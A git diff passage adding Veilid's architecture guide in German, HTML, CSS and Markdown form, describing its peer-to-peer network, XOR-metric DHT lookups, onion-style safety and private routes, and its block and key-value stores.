Peers sicher zu kommunizieren und zwar für beides: Traditionelle verschlüsselte Kommuniktion und auch durch verschiedene verschlüsselte Routen. Die Peeridentität ist nur die ID einer bestimmten Instanz der Veilid Software, die auf einem Computer läuft. + +Die Benutzeridentität wird deutlich umfassender genutzt. Benutzer (also Leute) wollen auf das Veilid Netzwerk zugreifen, so dass sie eine konsistente Identität über Geräte und Apps/Programme hinweg haben. Da aber Veilid keine Server in traditionellen Sinne hat, können wir nicht auf das normale Konzept von Benutzer-"Konten" zurückgreifen. Würde man das tun, würden Zentralisierungsspunkte im Netzwerk eingeführt werden, die in klassischen System oft die Quelle von Problemen gewesen sind. Viele Mastodon Benutzer habe sich schon in schwierigen Situationen befunden, wenn Ihre Instanzen Schwierigkeiten mit Ihren Sysadmin hatten und diese dann plötzlich die Instanzen abschalteten ohne vorher genug zu warnen. + +Um diese Re-Zentralisierung von Identitäten zu vermeiden, nutzen wir kryptografische Identitäten auch für alle Benutzer. Das Schlüsselpaar den Benutzers wird zum Signieren und Verschlüsseln ihrer Inhalte benutzt, wie es notwendig ist, wenn man Inhalte auf den Datenspeicher veröffentlichen will. Ein Benutzer wird als "in seine Client App/Anwendung eingeloggt" bezeichnet, wenn die App/Anwendung eine Kopie seines privaten Schlüssels hat. Wenn man in eine Client App eingeloggt, dann verhält sie sich wie jede andere der Client Apps des Benutzers und ermöglicht es ihm Inhalte zu ent- und verschlüsseln,Nachrichten zu signieren und so weiter. Schlüssel können in neue Apps eingefügt werden, um sich in diese einzuloggen. Dies erlaubt dem Benutzer so viele Client Apps (auf jeder beliebigen Anzahl an Geräten zu haben) wie sie haben wollen. + +* * * + +## Am Boden + +Die Vogelperspektive macht es möglich alles auf einmal im Kopf zu behalten, dafür lässt sie aber viele Implementierungsdetails weg. Deswegen ist es jetzt an der Zeit auf den "Boden" zurückzukehren und sich die Hände schmutzig zu machen. Grundsätzlich sollten es genug Informationen sein, um eine System ähnliche wie Veilid zu implementieren (mit der Ausnahmen von spezifischen Details der APIs und Datenformate). Dieser Anschnitt enthält keinen Code. Er ist keine Dokumentation des Codes selber, sondern der Kern eine Whitepapers. + +### Peer Netwerk im Detail + +Lasst uns als Erstes das Peer Netzwerk ansehen, weil seine Struktur die Basis für den Rest des Datenspeicherungsansatz bildet. Veilids Peer Netzwerk ist in der Art ähnlich zu anderen Peer to Peer Systemen, dass es sich von oben auf auf andere Protokolle legt und diese überlagert. Veilid versucht auf seine Art protokoll-agnostisch zu sein und ist aktuell entworfen um TCP, UDP, WebSocket und WebRTC sowie verschiedene Methoden zu Überwindung von NATs zu nutzen, so dass Veilid Peers auch Smartphones oder Computer bei unvertrauenswürdigen Internetanbietern und Ähnlichem seien können. Um das sicher zu stellen werden Peers nicht über eine Netzwerk Identität wie IP Adressen identifiziert, sondern über eine kryptografische Schlüsselpaar, das durch den Peer festgelegt wird. Jeder Peer veröffentlicht/bewirbt eine Menge von Optionen wie man mit Ihm kommunizieren kann. Diese nennt sich Dial Info und wenn ein Peer mit einem Anderen sprechen will, dann besorgt er sich die Dial Info von dem Peer aus dem Netzwerk und nutzt diese um zu kommunizieren. + +Wenn sich ein Peer erstmalig mit Veilid verbindet, dann macht er dass in dem er die "Bootstrap Nodes" kontaktiert, die einfache IP Adressen Dial Infos haben, für die durch die Netzwerk Maintainer garantiert wird, dass diese (zeit-) stabil sind. Diese Bootstrap-Peers sind die ersten Einträge in der Routing Tabelle des Peers. Die Routing Tabelle ist ein sortiertes Adressbuch mit dem man feststellen kann, wie man mit einem Peer sprechen kann. + +Die Routing Tabelle besteht aus einer Zuordnung öffentlicher Schlüssel der Peers zu einer nach Priorität sortierten Auswahl von Dial Infos. Um die Routing Tabelle zu befüllen, fragt der Peer andere Peers was seine Nachbarn im Netzwerk sind. Die Bezeichnung "Nachbar" ist hier über ein Ähnlichkeitsmaß bezüglich der Peer IDs definiert (genauer gesagt dem XOR Maß das viele Verteilte Hash Tables (DHTs) nutzen). Im Verlauf der Interaktionen mit dem dem Netzwerk wird der Peer die Dail Infos aktualisieren, wenn er Veränderungen feststellt. Ebenso kann er auch Dail Info für Peers abhängig von Ihrer Peer ID hinzufügen, die er im Verlauf entdeckt. + +Um mit einen bestimmten Peer zu sprechen wird seine Dail Info in der Routing Tabelle nachgeschlagen. Wenn es eine Dail Info gibt, dann werden die Optionen in der durch die Routing Tabelle festgelegten Priorisierungsreihenfolge durchprobiert. Falls es die Dail Info nicht gibt, dann muss der Peer die Dail Info aus den Netzwerk anfragen. Dabei schaut er in seine Routing Tabelle, um den Peer zu finden der entsprechend der XOR Maß der nächstgelegene zum Zielpeer ist und schickt ihm einen RPC Aufruf mit dem Namen "find-node". Für jede gegebene Peer ID antwortet der Empfänger des "find-node" auf Rufs mit den Dial Infos der Peers in seiner Routing Tabelle, die der ID am nächsten sind. Die bringt den Peer näher an sein Ziel und zumindest in die Richtung des Peers nach dem er fragt. Wenn die Info des gewünschten Peers in der Antwort des Aufrufs enthalten war, dann ist der Vorgang beendet, sonst sendet er weiter "find-node" Aufrufe um dem gewünschten Zielpeer näher zu kommen. So bahnt er sich seinen Weg und versucht verschiedene alternative Peers (falls notwendig), in dem er den Nächsten als Erstes fragt, bis er entweder die gewünschte Dail Info findet oder das gesamte Netzwerk durchsucht hat oder den Vorgang abbricht. + +### Benutzerprivatsphäre +Um sicherzustellen, dass Benutzer mit ein gewissen Maß an Privatsphäre in Veilid teilnehmen können, muss man sich um die Herausforderung kümmern, dass wenn man sich mit Veilid verbindet folglich auch mit anderen Nodes kommuniziert und somit IP Adressen teilt. Der Peer eines Benutzers wird deshalb regelmäßig RPC-Aufrufe erstellen, die die Identifikationsinformationen des Benutzer mit den IDs seiner Peers in Zusammenhang bringt. Veilid ermöglicht Privatsphäre durch die Nutzung einer RPC-Weiterleitungsmechanismus, der Kryptographie vergleichbar mit so genanntem "Onion Routing" nutzt. Hierbei wird der Kommunikationspfad zwischen dem tatsächlich ursprünglichen sendenden Peer und des schlussendlich final empfangenden Peer versteckt, in dem man über mehrere dazwischen liegenden Peers springt. + +Der spezifisches Ansatz den Veilid bezüglich Privatsphäre hat ist zweiseitig: Privatsphäre des Senders und Privatsphäre des Empfängers. Jeweils einer oder beide könnten sich Privatsphäre wünschen oder für sich ausschließen. Um die Privatsphäre des Sender sicherzustellen nutzt Veilid etwas das sich „Safety Route" nennt: Eine Sequenz Peers beliebiger Größer, die durch den Sender ausgewählt wird, der die Nachricht sendet. Die Sequenz von Adressen werden (wie bei einer Matryoshka Puppe) verschlüsselt ineinander geschachtelt, so dass jeder Hop den Vorherigen und den Nächsten sehen kann, aber kein Hop die gesamte Route sehen kann. Dies ist ähnliche zu einer TOR (The Onion Router) Route, mit dem Unterschied, dass nur die Adressen für jeden Hop verschlüsselt sind. Die Route kann für jede Nachricht, die geschickt wird, zufällig gewählt werden. + +Die Privatsphäre des Empfängers ist sofern ähnlich als das es dort auch eine Schachtelung von verschlüsselten Adressen gibt, aber mit dem Unterschied, dass die verschiedenen Adressen vorab geteilt worden sein müssen, weil es um eingehende Nachrichten geht. Diese werden „Private Routen“ genannt und sie werden als Teil der öffentlichen Daten eine Benutzers im KV Speicher veröffentlicht. Um volle Privatsphäre an beiden Enden sicherzustellen, wird eine Private Route als endgültiges Ziel einer Safety Route genutzt und die gesamt Route ist die Zusammensetzung aus beiden, so dass weder der Sender noch der Empfänger die IP adressiere des Anderen wissen. + +Jeder Peer im Hop (einschließlich des initialen Peers) sendet einen "route" RPC Aufruf an den nächsten Peer im Hop, mit dem Rest der Gesamtroute (safety + private), die mit den Daten in der Kette weitergereicht wird. Der letzte Peer entschlüsselt den Rest der Route, die dann leer ist und kann sich dann den weitergeleiteten RPC ansehen und dann entsprechend diesem handeln. Der RPC selber muss nicht verschlüsselt sein, aber es ist gute Praxis diesen für den finalen Peer zu verschlüsseln, so dass die Peers dazwischen den User nicht durch Analyse des Datenverkehrs de-anonymisieren können. + +Nimm bitte zur Kenntnis, dass die Routen benutzerorientiert sind. Sie sollten so verstanden werden, dass sie einen Möglichkeit darstellen mit einem bestimmten Benutzer-Peer zu sprechen, wo auch immer dieser ist. Jeder Peer in dieser Abfolge muss die tatsächlichen IP Adressen der Peers wissen, sonst können sie nicht kommunizieren. Aber die Savety und die Private Routes machen es schwer die Identität des Benutzer mit der Identität seiner Peers zusammenzubringen. Du weißt nur, dass der Nutzer irgendwo im Netzwerk ist, aber Du weißt nicht welche seine Adresse ist, auch wenn Du die Dail Infos seiner Peers in der Routing Tabelle gespeichert hast. + +### Block Speicher im Detail + +Wie bereits in der Vogelperspektive erwähnt ist es das Ziel des Blockspeichers inhaltsadressierbare Blocks von Daten zu speichern. Wie viele andere Peer to Peer Systeme zum Speichern von Daten nutzt auch Veilid verteilte Hash Tabellen (DHTs) als Kern des Block Speichers. Die Blockspeicher DHT hat als Schlüssel BLAKE3 Prüfsummen der Block Inhalte. Für jeden Schlüssel hält die DHT eine Liste von Peer IDs vor, die im Netzwerk deklariert wurden, dass sie den Block bereitstellen können. + +Wenn ein Peer den Block bereitstellen möchte, dann macht einer einen "supply_block" RPC Aufruf mit der ID des Blocks in das Netzwerk. Der Empfänger des Calls kann dann die Informationen speichern, die der Peer bezüglich des vorgesehenen Block bereitstellt (wenn er will). Er kann auch andere Peers zurückgeben, die näher an der Block ID dran sind, die auch die Information speichern sollte. Die Peers stellen abhängig davon wie nah sie an der Block ID sind fest, ob sie die Information speichern oder nicht. Es kann auch entscheiden werden den Block zwischenzuspeichern, um sich selbst als Anbieter zu deklarieren. + +So bereitgestellte Datensätze sind möglicherweise vergänglich, weil Peers das Netzwerk verlassen und somit ihre Informationen nicht mehr verfügbar sind. Deswegen wird jeder Peer, der einen Block bereitstellen will regelmäßig "supply_block" Nachrichten senden, um den Datensatz aktuell zu halten. Peers, die den Block zwischenspeichern, entscheiden an Hand der Popularität, des Speicherplatzes, der Bandbreite usw., die er übrig hat, wann das Zwischenspeichern endet. + +Um einen Block zu empfangen, der im Block Speicher gespeichert wurde, sendet ein Peer den "find_block" RPC Aufruf. Der Empfänger wird dann entweder den Block zurücksenden oder möglicherweise auch eine Liste von Anbietern für den Block zurücksenden, die er kennt oder er liefert eine Liste von Peers zurück, die näher an dem Block liegen als er selbst. + +Anders als bei BitTorrent sind Blocks nicht zwangsläufig Teil einer größeren Datei. Ein Block kann einfach eine einzelne Datei sein und dies wird oft der Fall für kleine Dateien sein. Größere Dateien können in kleinere Blocks aufgeteilt werden. In diesem Fall wird eine zusätzlicher Block mit einer Liste aus Block-Komponenten im Block Speicher gespeichert. Veilid selbst wird diese Block wie alle anderen Blocks behandeln und es gibt keinen eingebauten Mechanismus der festlegt, welchen Block man als erstes heruntergeladen oder teilen muss usw. (wie es sie bei BitTorrent gibt). Solche Features wäre dann abhängig von der Peer Software zu implementieren und können variieren. Verschiedene Clients werden auch die Möglichkeit haben zu entscheiden wie sie solche Block-Komponenten herunterladen wollen (z.B. automatisch, auf Eingabe des User oder etwas Anderes). + +Der Mechanismus (Blocks zu haben die auf andere Blocks verweisen) ermöglicht es auch die Nutzung von IPFS-artige DAGs mit hierarchischen Daten als einen möglichen Modus. Somit können ganze Verzeichnisstrukturen gespeichert werden (und nicht nur Dateien). Allerdings ist das (genau so wie die Subfile Blocks) kein eingebauter Teil von Veilid, sondern eher ein möglicher Verwendungsmodus. Wie sie dem Benutzer heruntergeladen und dargestellt werden, obliegt dem Client Programm. + +### Key-Value Speicher im Detail + +Der Key-Value Speicher ist eine DHT (ähnlich wie der Block Store). Allerdings statt inhaltsbezogener Hashes als Schlüssel, nutzt der KV Speicher Benutzer-IDs als Schlüssel (Achtung: _NICHT_ Peer IDs). Für einen gegebenen Key hat der KV Speicher eine hierarchische Key-Value Map, die im Prinzip beliebige Strings mit Werten verknüpft, die selber wiederum Nummern, Zeichenketten, ein Datum, Uhrzeiten oder andere Key-Value Maps sein können. Der spezifische Wert, der an einer ID des Users gespeichert wird, ist versioniert, so dass man bestimmte Schemata von Unterschlüsseln und Werten definieren kann, die dann entsprechend der unterschiedlichen Versionen vom Client anders behandelt werden. + +Wenn ein Nutzer wünscht Daten im Bezug auf ihren Schlüssel zu speichern, dann senden sie einen "set_value" RPC Aufruf an die Peers deren IDs am nächsten gemäß XOR Metric zu Ihrer eigenen ID liegen. Der Wert der dem RPC Aufruf mitgegeben wird ist ein Einzelwert, so dass das Netzwerk sicherstellen kann, dass nur der vorgesehene Nutzer Daten in seinem Key speichert. Die Peers, die den RPC Aufruf empfangen, können andere Peer IDs näher am Key zurückliefern (und so weiter), ähnlich wie auch beim den "supply_block" calls des Block Speichers. Am Ende werden einige Peers die Daten speichern. Der Peer des Users sollte regelmäßig die gespeicherten Daten aktualisieren, um sicher zu gehen, dass sie dauerhaft gespeichert bleiben. Es ist auch gute Praxis für den eigenen Peer des Benutzers, dass er seine eigene Daten in einem Cache (Zwischenspeicher) vorhält, so dass Client Programme den Peer des eigenen Benutzer als autorisierte Quelle der aktuellsten Daten verwenden kann. Hierfür ist es aber notwendig eine Route zu veröffentlichen, die es erlaubt das andere Peers dem eigenen Peer des Benutzers Nachrichten schicken. Eine private Route reicht hierfür aus. + +Der Abruf ist ähnlich wie der Abruf beim Block Store. Der gewünschte Key wird über eine "get_value" Call bereit gestellt, der einen Wert zurückliefern kann (oder eine Liste von Peers die näher am Key liegen). Am Ende werden die signieren Daten zurückgeliefert und der Empfänger kann verifizieren, dass diese tatsächlich dem spezifizierten Benutzer gehören in dem man die Signatur prüft. + +Beim Speichern und Abrufen von Daten ist es nicht notwendig, dass der im RPC Aufruf bereitgestellte Key ausschließlich die Benutzer ID sein muss. Er kann eine Liste von Zeichenketten beinhalten, die als Pfad zu gespeicherten Daten beim Benutzer Key diene, um damit spezifische Updates oder Abrufe durchzuführen. Dadurch wird der Datenverkehr im Netzwerk minimiert, weil nur die jeweils relevante Information umherbewegt wird. + +Der spezifische Inhalt des Benutzers Keys wird über das Protokoll bestimmt und im Besonderen von der Client Software. Frühe Versionen des Protokolls nutzen eine DHT-Schema-Version, die ein sehr einfaches Social-Network-orientiertes Schema definiert. Später Versionen werden mehr ein generischeres Schema ermöglichen, so dass Client Plug-ins reichhaltiger Informationen speichern und darstellen können. + +Die zustandsbehaftete Natur des Key Value Speichers bedeutet, dass sich Werte mit der Zeit ändern werden und es müssen Maßnahmen ergriffen werden, um auch auf diese Veränderungen zu reagieren. Ein Abfragemechanismus könnte verwendet werden, um regelmäßig abzufragen, ob neue Werte vorliegen, aber das wird zu einer Menge unnötigem Datenverkehrs im Netzwerk führen. Um das zu vermeiden erlaubt es Veilid, dass Peer einen "watch_value" RPC Aufruf senden, der einen DHT Key (mit Unterkeys) als Argument enthält. Der Empfänger würde dann einen Datensatz speichern, dass der Sender des RPC benachrichtigt werden möchte, wenn der Empfänger nachfolgend einen "set_value" RPC Aufruf erhält. In diesem Fall sendet der Empfänger dem sendenden Peer einen "value_changed" RPC Aufruf um ihm den neuen Wert zu übermitteln. Wie auch bei andere RPC Calls, muss auch "watch_value" regelmäßig neu gesendet werden, um das "Abonnement" für den Wert zu verlängern. Zusätzlich kann er Peers näher am Key zurückgegeben oder andere Peers die erfolgreich abonniert haben und so mit auch als Quelle dienen können. + +TODO: Wie vermeidet man das Replay Updates? Vielleicht über eine Sequenznummer einem signierten Patch? + + +## Anhang 1: Dial Info und Signaling + +## Anhang 2: RPC Listing diff --git a/doc/guide/guide.css b/doc/guide/guide.css new file mode 100644 index 00000000..c583a4bf --- /dev/null +++ b/doc/guide/guide.css @@ -0,0 +1,28 @@ +* { + font-family: sans-serif; +} + +body { + display: flex; + justify-content: center; +} + +#content { + width: 500px; + background-color: #eeeeee; + padding: 5px; +} + +.section-toc, .subsection-toc { + list-style: none; +} + +.section-name { + font-weight: 600; + margin-bottom: 5px; +} + +code { + font-family: monospace; + font-weight: bold; +} diff --git a/doc/guide/guide.html b/doc/guide/guide.html new file mode 100644 index 00000000..b2f641b2 --- /dev/null +++ b/doc/guide/guide.html @@ -0,0 +1,255 @@ + + + + + + + Veilid Architecture Guide + + + + + +
+ +
+ early α docs
+ please don't share publicly +
+ +

Veilid Architecture Guide

+ +
+ + + +
+ +

From Orbit

+ +

+ The first matter to address is the question "What is Veilid?" The highest-level description is that Veilid is a peer-to-peer network for easily sharing various kinds of data. +

+ +

+ Veilid is designed with a social dimension in mind, so that each user can have their personal content stored on the network, but also can share that content with other people of their choosing, or with the entire world if they want. +

+ +

+ The primary purpose of the Veilid network is to provide the infrastructure for a specific kind of shared data: social media in various forms. That includes light-weight content such as Twitter's tweets or Mastodon's toots, medium-weight content like images and songs, and heavy-weight content like videos. Meta-content such as personal feeds, replies, private messages, and so forth are also intended to run atop Veilid. +

+ +
+ +

Bird's Eye View

+ +

+ Now that we know what Veilid is and what we intend to put on it, the second order of business is to address the parts of the question of how Veilid achieves that. Not at a very detailed level, of course, that will come later, but rather at a middle level of detail such that all of it can fit in your head at the same time. +

+ +

Peer Network for Data Storage

+ +

+ The bottom-most level of Veilid is a network of peers communicating to one another over the internet. Peers send each other messages (remote procedure calls) about the data being stored on the network, and also messages about the network itself. For instance, one peer might ask another for some file, or it might ask for info about what other peers exist in the network. +

+ +

+ The data stored in the network is segmented into two kinds of data: file-like data, which typically is large, and textual data, which typically is small. Each kind of data is stored in its own subsystem specifically chosen to optimize for that kind of data. +

+ +

Block Store

+ +

+ File-like content is stored in a content-addressable block store. Each block is just some arbitrary blob of data (for instance, a JPEG or an MP4) of whatever size. The hash of that block acts as the unique identifier for the block, and can be used by peers to request particular blocks. Technically, textual data can be stored as a block as well, and this is expected to be done when the textual data is thought of as a document or file of some sort. +

+ +

Key-Value Store

+ +

+ Smaller, more ephemeral textual content generally, however, is stored in a key-value-store (KV store). Things like status updates, blog posts, user bios, etc. are all thought of as being suited for storage in this part of the data store. KV store data is not simply "on the Veilid network", but also owned/controlled by users, and identified by an arbitrary name chosen by the owner the data. Any group of users can add data, but can only change the data they've added. +

+ +

+ For instance, we might talk about Boone's bio vs. Boone's blogpost titled "Hi, I'm Boone!", which are two things owned by the same user but with different identifiers, or on Boone's bio vs. Marquette's bio, which are two things owned by distinct users but with the same identifier. +

+ +

+ KV store data is also stateful, so that updates to it can be made. Boone's bio, for instance, would not be fixed in time, but rather is likely to vary over time as he changes jobs, picks up new hobbies, etc. Statefulness, together with arbitrary user-chosen identifiers instead of content hashes, means that we can talk about "Boone's Bio" as an abstract thing, and subscribe to updates to it. +

+ +

Structuring Data

+ +

+ The combination of block storage and key-value storage together makes it possible to have higher-level concepts as well. A song, for instance, might be represented in two places in Veilid: the block store would hold the raw data, while the KV store would store a representation of the idea of the song. Maybe that would consist of a JSON object with metadata about the song, like the title, composer, date, encoding information, etc. as well as the ID of the block store data. We can then also store different versions of that JSON data, as the piece is updated, upsampled, remastered, or whatever, each one pointing to a different block in the block store. It's still "the same song", at a conceptual level, so it has the same identifier in the KV store, but the raw bits associated with each version differ. +

+ +

+ Another example of this, but with even more tenuous connection between the block store data, is the notion of a profile picture. "Marquette's Profile Picture" is a really abstracted notion, and precisely which bits it corresponds to can vary wildly over time, not just being different versions of the picture but completely different pictures entirely. Maybe one day it's a photo of Marquette and the next day it's a photo of a flower. +

+ +

+ Social media offers many examples of these concepts. Friends lists, block lists, post indexes, favorites. These are all stateful notions, in a sense: a stable reference to a thing, but the precise content of the thing changes over time. These are exactly what we would put in the KV store, as opposed to in the block store, even if this data makes reference to content in the block store. +

+ +

Peer and User Identity

+ +

+ Two notions of identity are at play in the above network: peer identity and user identity. Peer identity is simple enough: each peer has a cryptographic key pair that it uses to communicate securely with other peers, both through traditional encrypted communication, and also through the various encrypted routes. Peer identity is just the identity of the particular instance of the Veilid software running on a computer. +

+ +

+ User identity is a slightly richer notion. Users, that is to say, people, will want to access the Veilid network in a way that has a consistent identity across devices and apps. But since Veilid doesn't have servers in any traditional sense, we can't have a normal notion of "account". Doing so would also introduce points of centralization, which federated systems have shown to be a source of trouble. Many Mastodon users have found themselves in a tricky situation when their instance sysadmins burned out and suddenly shut down the instance without enough warning. +

+ +

+ To avoid this re-centralization of identity, we use cryptographic identity for users as well. The user's key pair is used to sign and encrypt their content as needed for publication to the data store. A user is said to be "logged in" to a client app whenever that app has a copy of their private key. When logged in a client app act like any other of the user's client apps, able to decrypt and encrypt content, sign messages, and so forth. Keys can be added to new apps to sign in on them, allowing the user to have any number of clients they want, on any number of devices they want. +

+ +
+ +

On The Ground

+ +

+ The bird's eye view of things makes it possible to hold it all in mind at once, but leaves out lots of information about implementation choice. It's now time to come down to earth and get our hands dirty. In principl, this should be enough information to implement a system very much like Veilid, with the exception perhaps of the specific details of the APIs and data formats. This section won't have code, it's not documentation of the codebase, but rather is intended to form the meat of a whitepaper. +

+ +

Peer Network, Revisited

+ +

+ First, let's look at the peer network, since its structure forms the basis for the remainder of the data storage approach. Veilid's peer network is similar to other peer-to-peer systems in that it's overlaid on top of other protocols. Veilid tries to be somewhat protocol-agnostic, however, and currently is designed to use TCP, UDP, WebSockets, and WebRTC, as well as various methods of traversing NATs so that Veilid peers can be smartphones, personal computers on hostile ISPs, etc. To facilitate this, peers are identified not by some network identity like an IP address, but instead by peer-chosen cryptographic key-pairs. Each peer also advertises a variety of options for how to communicate with it, called dial info, and when one peer wants to talk to another, it gets the dial info for that peer from the network and then uses it to communicate. +

+ +

+ When a peer first connects to Veilid, it does so by contacting bootstrap peers, which have simple IP address dial info that is guaranteed to be stable by the maintainers of the network. These bootstrap peers are the first entries in the peer's routing table -- an address book of sorts, which it uses to figure out how to talk to a peer. The routing table consists of a mapping from peer public keys to prioritized choices for dial info. To populate the routing table, the peer asks other peers what its neighbors are in the network. The notion of neighbor here is defined by a similarity metric on peer IDs, in particular an XOR metric like many DHTs use. Over the course of interacting with the network, the peer will keep dial info up to date when it detects changes. It may also add dial info for peers it discovers along the way, depending on the peer ID. +

+ +

+ To talk to a specific peer, its dial info is looked up in the routing table. If there is dial info present, then the options are attempted in order of the priority specified in the routing table. Otherwise, the peer has to request the dial info from the network, so it looks through its routing table to find the peer who's ID is nearest the target peer according to the XOR metric, and sends it an RPC call with a procedure named find_node. Given any particular peer ID, the receiver of a find_node call returns dial info for the peers in its routing table that are nearest the given ID. This gets the peer closer to its destination, at least in the direction of the other peer it asked. If the desired peer's information was in the result of the call, then it's done, otherwise it calls find_node again to get closer. It iterates in this way, possibly trying alternate peers, as necessary, in a nearest-first fashion until it either finds the desire'd peer's dial info, has exhausted the entire network, or gives up. +

+ +

User Privacy

+ +

+ In order to ensure that users can participate in Veilid with some amount of privacy, we need to address the fact that being connected to Veilid entails communicating with other peers, and therefore sharing IP addresses. A user's peer will therefore be frequently issuing RPCs in a way that directly associates the user's identifying information with their peer's ID. Veilid provides privacy by allowing the use of an RPC forwarding mechanism that uses cryptography to similar to onion routing in order to hide the path that a message takes between its actual originating peer and its actual destination peer, by hopping between additional intermediate peers. +

+ +

+ The specific approach that Veilid takes to privacy is two sided: privacy of the sender of a message, and privacy of the receiver of a message. Either or both sides can want privacy or opt out of privacy. To achieve sender privacy, Veilid use something called a Safety Route: a sequence of any number of peers, chosen by the sender, who will forward messages. The sequence of addresses is put into a nesting doll of encryption, so that each hop can see the previous and next hops, while no hop can see the whole route. This is similar to a Tor route, except only the addresses are encrypted for each hop. The route can be chosen at random for each message being sent. +

+ +

+ Receiver privacy is similar, in that we have a nesting doll of encrypted peer addresses, except because it's for incoming messages, the various addresses have to be shared ahead of time. We call such things Private Routes, and they are published to the key-value store as part of a user's public data. For full privacy on both ends, a Private Route will be used as the final destination of a Safety Route, and the total route is the composition of the two, so that neither the sender nor receiver knows the IP address of the other. +

+ +

+ Each peer in the hop, including the initial peer, sends a route RPC to the next peer in the hop, with the remainder of the full route (safety + private), forwarding the data along. The final peer decrypts the remainder of the route, which is now empty, and then can inspect the forwarded RPC to act on it. The RPC itself doesn't need to be encrypted, but it's good practice to encrypt it for the final receiving peer so that the intermediate peers can't de-anonymize the sending user from traffic analysis. +

+ +

+ Note that the routes are user oriented. They should be understood as a way to talk to a particular user's peer, wherever that may be. Each peer of course has to know about the actual IP addresses of the peers, otherwise it couldn't communicate, but safety and private routes make it hard to associate the user's identity with their peer's identity. You know that the user is somewhere on the network, but you don't know which IP address is their's, even if you do in fact have their peer's dial info stored in the routing table. +

+ +

Block Store Revisited

+ +

+ As mentioned in the Bird's Eye View, the block store is intended to store content-addressed blocks of data. Like many other peer-to-peer systems for storing data, Veilid uses a distributed hash table as the core of the block store. The block store DHT has as keys BLAKE3 hashes of block content. For each key the DHT associates a list of peer IDs for peers that have declared to the network that they can supply the block. +

+ +

+ If a peer wishes to supply the block, it makes a supply_block RPC call to the network with the id of the block. The receiver of the call can then store the information that the peer supplies the designated block if it wants, and also can return other peers nearer to the block's ID that should also store the information. Peers determine whether or not to store this information based on how close it is to the block's ID. It may also choose to cache the block, possibly also declaring itself to be a supplier as well. +

+ +

+ Supplier records are potentially brittle because peers leave the network, making their information unavailable. Because of this, any peer that wishes to supply a block will periodically send supply_block messages to refresh the records. Peers that are caching blocks determine when to stop caching based on how popular a block is, how much space or bandwidth it can spare, etc. +

+ +

+ To retrieve a block that has been stored in the blockstore, a peer makes a find_block RPC. The receiver will then either return the block, or possibly return a list of suppliers for the block that it knows about, or return a list of peers that are closer to the block. +

+ +

+ Unlike BitTorrent, blocks are not inherently part of a larger file. A block can be just a single file, and often that will be the case for small files. Large files can be broken up into smaller blocks, however, and then an additional block with a list of those component blocks can be stored in the block store. Veilid itself, however, would treat this like any other block, and there are no built-in mechanisms for determining which blocks to download first, which to share first, etc. like there are in BitTorrent. These features would be dependent on the peer software's implementation and could vary. Different clients will also be able to decide how they want to download such "compound" blocks -- automatically, via a prompt to the user, or something else. +

+ +

+ The mechanism of having blocks that refer to other blocks also enables IPFS-style DAGs of hierarchical data as one mode of use of the block store, allowing entire directory structures to be stored, not just files. However, as with sub-file blocks, this is not a built-in part of Veilid but rather a mode of use, and how they're downloaded and presented to the user is up to the client program. +

+ +

Key-Value Store, Revisited

+ +

+ The key-value store is a DHT similar to the block store. However, rather than using content hashes as keys, the KV store uses user IDs as keys (note: not peer IDs). At a given key, the KV store has a hierarchical key-value map that associates in-principle arbitrary strings with values, which themselves can be numbers, strings, datetimes, or other key-value maps. The specific value stored in at a user's ID is versioned, so that particular schemas of subkeys and values can be defined and handled appropriately by different versions of clients. +

+ +

+ When a user wishes to store data under their key, they send a set_value RPC to the peer's whose IDs are closest by the XOR metric to their own user ID. The value provided to the RPC is a signed value, so that the network can ensure only the designated user is storing data at their key. The peers that receive the RPC may return other peer IDs closer to the key, and so on, similar to how the block store handles supply_block calls. Eventually, some peers will store the data. The user's own peer should periodically refresh the stored data, to ensure that it persists. It's also good practice for the user's own peer to cache the data, so that client programs can use the user's own peer as a canonical source of the most-up-to-date value, but doing so would require a route to be published that lets other peers send the user's own peer messages. A private route suffices for this. +

+ +

+ Retrieval is similar to block store retrieval. The desired key is provided to a get_value call, which may return th value, or a list of other peers that are closer to the key. Eventually the signed data is returned, and the recipient can verify that it does indeed belong to the specified user by checking the signature. +

+ +

+ When storing and retrieving, the key provided to the RPCs is not required to be only the user's ID. It can include a list of strings which act as a path into the data stored at the user's key, targetting it specifically for update or retrieval. This lets the network minimize data transfer, because only the relevant information has to move around. +

+ +

+ The specific content of the user's keys is determined partially by the protocol and partially by the client software. Early versions of the protocol use a DHT schema version that defines a fairly simple social network oriented schema. Later versions will enable a more generic schema so that client plugins can store and display richer information. +

+ +

+ The stateful nature of the key-value store means that values will change over time, and actions may need to be taken in response to those changes. A polling mechanism could be used to periodically check for new values, but this will lead to lots of unnecessary traffic in the network, so to avoid this, Veilid allows peers to send watch_value RPCs, with a DHT key (with subkeys) as its argument. The receiver would then store a record that the sender of the RPC wants to be alerted when the receiver gets subsequent set_value calls, at which time the receiver sends the sending peer a value_changed RPC to push the new value. As with other RPC calls, watch_value needs to be periodically re-sent to refresh the subscription to the value. Additionally, also as with other calls, watch_value may not succeed on the receiver, which instead might return other peers closer to the value, or might return other peers that have successfully subscribed to the value and thus might act as a source for it. +

+ +

+ TODO How to avoid replay updates?? maybe via a sequence number in the signed patch? +

+ +

Appendix 1: Dial Info and Signaling

+ +

Appendix 2: RPC Listing

+ + diff --git a/doc/guide/guide.md b/doc/guide/guide.md new file mode 100644 index 00000000..6c5d63b8 --- /dev/null +++ b/doc/guide/guide.md @@ -0,0 +1,126 @@ +# early α docs + +# please don't share publicly + +# Veilid Architecture Guide + +- [From Orbit](#from-orbit) +- [Bird's Eye View](#birds-eye-view) + - [Peer Network for Data Storage](#peer-network-for-data-storage) + - [Block Store](#block-store) + - [Key-Value Store](#key-value-store) + - [Structuring Data](#structuring-data) + - [Peer and User Identity](#peer-and-user-identity) +- [On The Ground](#on-the-ground) + - [Peer Network, Revisited](#peer-network-revisited) + - [User Privacy](#user-privacy) + - [Block Store, Revisited](#block-store-revisited) + - [Key-Value Store, Revisited](#key-value-store-revisited) + +## From Orbit + +The first matter to address is the question "What is Veilid?" The highest-level description is that Veilid is a peer-to-peer network for easily sharing various kinds of data. + +Veilid is designed with a social dimension in mind, so that each user can have their personal content stored on the network, but also can share that content with other people of their choosing, or with the entire world if they want. + +The primary purpose of the Veilid network is to provide the infrastructure for a specific kind of shared data: social media in various forms. That includes light-weight content such as Twitter's tweets or Mastodon's toots, medium-weight content like images and songs, and heavy-weight content like videos. Meta-content such as personal feeds, replies, private messages, and so forth are also intended to run atop Veilid. + +* * * + +## Bird's Eye View + +Now that we know what Veilid is and what we intend to put on it, the second order of business is to address the parts of the question of how Veilid achieves that. Not at a very detailed level, of course, that will come later, but rather at a middle level of detail such that all of it can fit in your head at the same time. + +### Peer Network for 